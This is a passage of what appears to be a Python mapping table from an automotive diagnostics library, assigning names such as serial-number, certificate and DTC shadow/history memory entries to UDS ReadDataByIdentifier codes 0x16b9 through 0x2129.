"SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16b9] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16ba] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16bb] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16bc] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16bd] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16be] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16bf] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16c0] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16c1] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16c2] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16c3] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16c4] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16c5] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16c6] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16c7] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16c8] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16c9] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16ca] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16cb] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16cc] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16cd] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16ce] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16cf] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16d0] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16d1] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16d2] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16d3] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16d4] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16d5] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16d6] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16d7] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16d8] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16d9] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16da] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16db] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16dc] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16dd] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16de] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16df] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16e0] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16e1] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16e2] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16e3] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16e4] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16e5] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16e6] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16e7] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16e8] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16e9] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16ea] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16eb] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16ec] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16ed] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16ee] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16ef] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16f0] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16f1] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16f2] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16f3] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16f4] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16f5] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16f6] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16f7] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16f8] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16f9] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16fa] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16fb] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16fc] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16fd] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16fe] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x16ff] = "SubbusMemberSerialNumber" UDS_RDBI.dataIdentifiers[0x171f] = "Certificate" UDS_RDBI.dataIdentifiers[0x172a] = "IPIdent" UDS_RDBI.dataIdentifiers[0x1734] = "IndividualDataIDTable" UDS_RDBI.dataIdentifiers[0x1735] = "StatusLifeCycle" UDS_RDBI.dataIdentifiers[0x2000] = "dtcShadowMemory" UDS_RDBI.dataIdentifiers[0x2001] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2002] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2003] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2004] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2005] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2006] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2007] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2008] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2009] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x200a] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x200b] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x200c] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x200d] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x200e] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x200f] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2010] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2011] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2012] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2013] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2014] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2015] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2016] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2017] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2018] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2019] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x201a] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x201b] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x201c] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x201d] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x201e] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x201f] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2020] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2021] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2022] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2023] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2024] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2025] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2026] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2027] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2028] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2029] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x202a] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x202b] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x202c] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x202d] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x202e] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x202f] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2030] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2031] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2032] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2033] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2034] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2035] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2036] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2037] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2038] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2039] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x203a] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x203b] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x203c] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x203d] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x203e] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x203f] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2040] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2041] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2042] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2043] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2044] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2045] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2046] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2047] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2048] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2049] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x204a] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x204b] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x204c] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x204d] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x204e] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x204f] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2050] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2051] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2052] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2053] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2054] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2055] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2056] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2057] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2058] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2059] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x205a] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x205b] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x205c] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x205d] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x205e] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x205f] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2060] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2061] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2062] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2063] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2064] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2065] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2066] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2067] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2068] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2069] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x206a] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x206b] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x206c] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x206d] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x206e] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x206f] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2070] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2071] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2072] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2073] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2074] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2075] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2076] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2077] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2078] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2079] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x207a] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x207b] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x207c] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x207d] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x207e] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x207f] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2080] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2081] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2082] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2083] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2084] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2085] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2086] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2087] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2088] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2089] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x208a] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x208b] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x208c] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x208d] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x208e] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x208f] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2090] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2091] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2092] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2093] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2094] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2095] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2096] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2097] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2098] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2099] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x209a] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x209b] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x209c] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x209d] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x209e] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x209f] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20a0] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20a1] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20a2] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20a3] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20a4] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20a5] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20a6] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20a7] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20a8] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20a9] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20aa] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20ab] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20ac] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20ad] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20ae] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20af] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20b0] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20b1] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20b2] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20b3] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20b4] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20b5] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20b6] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20b7] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20b8] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20b9] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20ba] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20bb] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20bc] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20bd] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20be] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20bf] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20c0] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20c1] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20c2] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20c3] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20c4] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20c5] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20c6] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20c7] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20c8] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20c9] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20ca] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20cb] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20cc] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20cd] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20ce] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20cf] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20d0] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20d1] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20d2] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20d3] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20d4] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20d5] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20d6] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20d7] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20d8] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20d9] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20da] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20db] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20dc] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20dd] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20de] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20df] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20e0] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20e1] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20e2] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20e3] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20e4] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20e5] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20e6] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20e7] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20e8] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20e9] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20ea] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20eb] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20ec] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20ed] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20ee] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20ef] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20f0] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20f1] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20f2] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20f3] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20f4] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20f5] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20f6] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20f7] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20f8] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20f9] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20fa] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20fb] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20fc] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20fd] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20fe] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x20ff] = "dtcShadowMemoryEntry" UDS_RDBI.dataIdentifiers[0x2100] = "dtcHistoryMemory" UDS_RDBI.dataIdentifiers[0x2101] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2102] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2103] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2104] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2105] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2106] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2107] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2108] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2109] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x210a] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x210b] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x210c] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x210d] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x210e] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x210f] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2110] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2111] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2112] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2113] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2114] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2115] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2116] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2117] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2118] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2119] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x211a] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x211b] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x211c] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x211d] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x211e] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x211f] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2120] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2121] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2122] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2123] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2124] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2125] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2126] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2127] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2128] = "dtcHistoryMemoryEntry 2101-21FF" UDS_RDBI.dataIdentifiers[0x2129] = 